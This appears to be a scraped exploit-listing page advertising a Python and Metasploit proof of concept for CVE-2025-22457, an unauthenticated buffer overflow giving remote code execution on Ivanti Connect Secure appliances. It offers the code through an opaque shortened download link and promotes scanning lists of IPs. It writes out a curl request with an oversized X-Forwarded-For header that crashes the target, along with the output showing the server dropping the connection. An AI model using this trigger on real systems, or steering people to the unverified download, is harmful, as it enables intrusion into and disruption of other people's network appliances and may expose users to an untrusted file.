CVE-2025-22457 Python and Metasploit PoC for Ivanti unauthenticated RCE# CVE-2025-22457-PoC
CVE-2025-22457 Python and Metasploit PoC for Ivanti unauthenticated RCE
# CVE-2025-22457 A stack-based buffer overflow in Ivanti Connect Secure allows a remote unauthenticated attacker to achieve remote code execution.
PoC for achieving RCE in Ivanti Connect Secure Appliances<br>
PoC is both in Python and a metasploit module (more advanced payload for meterpreter)<br>
Python script is designed to work with a single ip and list of ips which can also save the results into a file<br>
Note: yet no public exploit is developed/disclosed and most probably it wont in near future cause of the impact.
# Download: [here](https://bit.ly/3EgljKT)
```
$ curl -v --insecure https://HOST --header X-Forwarded-For:A * 856
* Trying HOST:443...
* Connected to HOST (HOST) port 443
* using HTTP/1.x
> GET / HTTP/1.1
> Host: HOST
> User-Agent: curl/8.10.1
> Accept: */*
> X-Forwarded-For:A * 856
>
* Request completely sent off
* schannel: server closed abruptly (missing close_notify)
* closing connection #0
curl: (56) Failure when receiving data from the peer
```
登录后查看神龙缓存的 POC 文件快照
登录查看